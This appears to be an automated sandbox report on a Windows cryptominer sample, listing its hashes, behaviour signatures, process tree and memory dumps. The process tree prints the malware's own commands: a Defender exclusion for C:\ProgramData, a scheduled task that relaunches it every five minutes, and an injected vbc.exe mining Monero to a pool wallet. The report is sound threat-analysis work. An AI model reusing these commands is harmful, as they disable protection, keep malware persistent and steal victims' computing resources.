Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
29-11-2022 23:21
Static task
static1
Behavioral task
behavioral1
Sample
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe
Resource
win7-20220812-en
General
-
Target
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe
-
Size
2.5MB
-
MD5
7dad5ca2096cbe129c0dade6cb2c915f
-
SHA1
7ef1eeab904b7b3afcc9e203be5e664388eb3198
-
SHA256
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244
-
SHA512
87c9f5f16722113221c2ab2f11a9c4238b5706d8853288b3fa63b8bfa0462916dac8d62ee25d49e887202fa102edcc92540ddfb8d71ef19821d0b6c8770726c5
-
SSDEEP
24576:+5phTHwpeGenqhURy3e45mDyyg2lcV+q2lcV2sQ288nLS9XTJDsCSz1H3a:+5phTQpeZnqhURyOAbCC+fCc27n2wRHK
Malware Config
Signatures
-
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/704-185-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/704-186-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/704-187-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/704-188-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/704-190-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/704-192-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
YHKO.exepid process 1964 YHKO.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
YHKO.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation YHKO.exe -
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
YHKO.exedescription pid process target process PID 1964 set thread context of 704 1964 YHKO.exe vbc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 4916 timeout.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exepowershell.exeYHKO.exepowershell.exepid process 4900 42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe 4900 42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe 3752 powershell.exe 3752 powershell.exe 1964 YHKO.exe 1964 YHKO.exe 5112 powershell.exe 5112 powershell.exe 1964 YHKO.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 660 -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exepowershell.exeYHKO.exepowershell.exevbc.exedescription pid process Token: SeDebugPrivilege 4900 42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe Token: SeDebugPrivilege 3752 powershell.exe Token: SeDebugPrivilege 1964 YHKO.exe Token: SeDebugPrivilege 5112 powershell.exe Token: SeLockMemoryPrivilege 704 vbc.exe Token: SeLockMemoryPrivilege 704 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
vbc.exepid process 704 vbc.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.execmd.exeYHKO.execmd.exedescription pid process target process PID 4900 wrote to memory of 3752 4900 42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe powershell.exe PID 4900 wrote to memory of 3752 4900 42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe powershell.exe PID 4900 wrote to memory of 2176 4900 42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe cmd.exe PID 4900 wrote to memory of 2176 4900 42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe cmd.exe PID 2176 wrote to memory of 4916 2176 cmd.exe timeout.exe PID 2176 wrote to memory of 4916 2176 cmd.exe timeout.exe PID 2176 wrote to memory of 1964 2176 cmd.exe YHKO.exe PID 2176 wrote to memory of 1964 2176 cmd.exe YHKO.exe PID 1964 wrote to memory of 5112 1964 YHKO.exe powershell.exe PID 1964 wrote to memory of 5112 1964 YHKO.exe powershell.exe PID 1964 wrote to memory of 4332 1964 YHKO.exe cmd.exe PID 1964 wrote to memory of 4332 1964 YHKO.exe cmd.exe PID 4332 wrote to memory of 736 4332 cmd.exe schtasks.exe PID 4332 wrote to memory of 736 4332 cmd.exe schtasks.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe PID 1964 wrote to memory of 704 1964 YHKO.exe vbc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe"C:\Users\Admin\AppData\Local\Temp\42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7AF1.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
C:\ProgramData\dlllib\YHKO.exe"C:\ProgramData\dlllib\YHKO.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\dlllib\YHKO.exeFilesize
2.5MB
MD57dad5ca2096cbe129c0dade6cb2c915f
SHA17ef1eeab904b7b3afcc9e203be5e664388eb3198
SHA25642bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244
SHA51287c9f5f16722113221c2ab2f11a9c4238b5706d8853288b3fa63b8bfa0462916dac8d62ee25d49e887202fa102edcc92540ddfb8d71ef19821d0b6c8770726c5
-
C:\ProgramData\dlllib\YHKO.exeFilesize
2.5MB
MD57dad5ca2096cbe129c0dade6cb2c915f
SHA17ef1eeab904b7b3afcc9e203be5e664388eb3198
SHA25642bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244
SHA51287c9f5f16722113221c2ab2f11a9c4238b5706d8853288b3fa63b8bfa0462916dac8d62ee25d49e887202fa102edcc92540ddfb8d71ef19821d0b6c8770726c5
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
C:\Users\Admin\AppData\Local\Temp\tmp7AF1.tmp.batFilesize
139B
MD5ed3de4ffdbf376f7f93a51538b65d847
SHA1380171020dbbf18f49b1173cab74d7efcfd247f5
SHA2560c2069c559cd32136c339f795031a54d6da9bcb17e5bbb8704018aaea01dc8bb
SHA512ee5b3ea1217f3f478d49706eb231dc3a09ce892d952afe2f1f883f54e56616a806c1516d075cf48dfeea40a5b7f81d87ac857cbd5c5d0f31393f6e7ad6facb42
-
memory/704-189-0x000001A21EA00000-0x000001A21EA20000-memory.dmpFilesize
128KB
-
memory/704-191-0x000001A220310000-0x000001A220350000-memory.dmpFilesize
256KB
-
memory/704-190-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/704-192-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/704-188-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/704-187-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/704-186-0x0000000140343234-mapping.dmp
-
memory/704-185-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/704-193-0x000001A21EA50000-0x000001A21EA70000-memory.dmpFilesize
128KB
-
memory/704-194-0x000001A220350000-0x000001A220370000-memory.dmpFilesize
128KB
-
memory/704-195-0x000001A21EA50000-0x000001A21EA70000-memory.dmpFilesize
128KB
-
memory/704-196-0x000001A220350000-0x000001A220370000-memory.dmpFilesize
128KB
-
memory/736-177-0x0000000000000000-mapping.dmp
-
memory/1964-179-0x00007FF89FF30000-0x00007FF89FF57000-memory.dmpFilesize
156KB
-
memory/1964-165-0x00007FF8A09C0000-0x00007FF8A0B61000-memory.dmpFilesize
1.6MB
-
memory/1964-178-0x0000000000EE0000-0x00000000011C0000-memory.dmpFilesize
2.9MB
-
memory/1964-180-0x00007FF8853E0000-0x00007FF885415000-memory.dmpFilesize
212KB
-
memory/1964-173-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/1964-184-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/1964-155-0x0000000000000000-mapping.dmp
-
memory/1964-160-0x0000000000EE0000-0x00000000011C0000-memory.dmpFilesize
2.9MB
-
memory/1964-162-0x00000000011C0000-0x0000000001201000-memory.dmpFilesize
260KB
-
memory/1964-161-0x00007FF8A1330000-0x00007FF8A13CE000-memory.dmpFilesize
632KB
-
memory/1964-159-0x00007FF885720000-0x00007FF8857CA000-memory.dmpFilesize
680KB
-
memory/1964-163-0x00007FF89D610000-0x00007FF89D622000-memory.dmpFilesize
72KB
-
memory/1964-164-0x00007FF8855D0000-0x00007FF88568D000-memory.dmpFilesize
756KB
-
memory/1964-181-0x00007FF87FD90000-0x00007FF87FE92000-memory.dmpFilesize
1.0MB
-
memory/1964-166-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/1964-167-0x00007FF8A13D0000-0x00007FF8A13FB000-memory.dmpFilesize
172KB
-
memory/1964-168-0x0000000000EE0000-0x00000000011C0000-memory.dmpFilesize
2.9MB
-
memory/1964-169-0x00007FF885240000-0x00007FF88538E000-memory.dmpFilesize
1.3MB
-
memory/1964-183-0x00007FF89EAC0000-0x00007FF89EAFB000-memory.dmpFilesize
236KB
-
memory/1964-182-0x00007FF8A1000000-0x00007FF8A106B000-memory.dmpFilesize
428KB
-
memory/2176-146-0x0000000000000000-mapping.dmp
-
memory/3752-145-0x0000000000000000-mapping.dmp
-
memory/3752-154-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/3752-152-0x000001A8BD4A0000-0x000001A8BD4C2000-memory.dmpFilesize
136KB
-
memory/3752-153-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/4332-175-0x0000000000000000-mapping.dmp
-
memory/4900-144-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/4900-139-0x00007FF8A09C0000-0x00007FF8A0B61000-memory.dmpFilesize
1.6MB
-
memory/4900-143-0x00007FF885430000-0x00007FF88557E000-memory.dmpFilesize
1.3MB
-
memory/4900-147-0x0000000000240000-0x0000000000520000-memory.dmpFilesize
2.9MB
-
memory/4900-148-0x0000000000C20000-0x0000000000C61000-memory.dmpFilesize
260KB
-
memory/4900-133-0x00007FF885720000-0x00007FF8857CA000-memory.dmpFilesize
680KB
-
memory/4900-149-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/4900-136-0x00007FF8A1330000-0x00007FF8A13CE000-memory.dmpFilesize
632KB
-
memory/4900-137-0x00007FF89D610000-0x00007FF89D622000-memory.dmpFilesize
72KB
-
memory/4900-134-0x0000000000240000-0x0000000000520000-memory.dmpFilesize
2.9MB
-
memory/4900-141-0x00007FF8A13D0000-0x00007FF8A13FB000-memory.dmpFilesize
172KB
-
memory/4900-142-0x0000000000240000-0x0000000000520000-memory.dmpFilesize
2.9MB
-
memory/4900-140-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/4900-135-0x0000000000C20000-0x0000000000C61000-memory.dmpFilesize
260KB
-
memory/4900-138-0x00007FF8855D0000-0x00007FF88568D000-memory.dmpFilesize
756KB
-
memory/4916-151-0x0000000000000000-mapping.dmp
-
memory/5112-174-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB
-
memory/5112-170-0x0000000000000000-mapping.dmp
-
memory/5112-176-0x00007FF883FC0000-0x00007FF884A81000-memory.dmpFilesize
10.8MB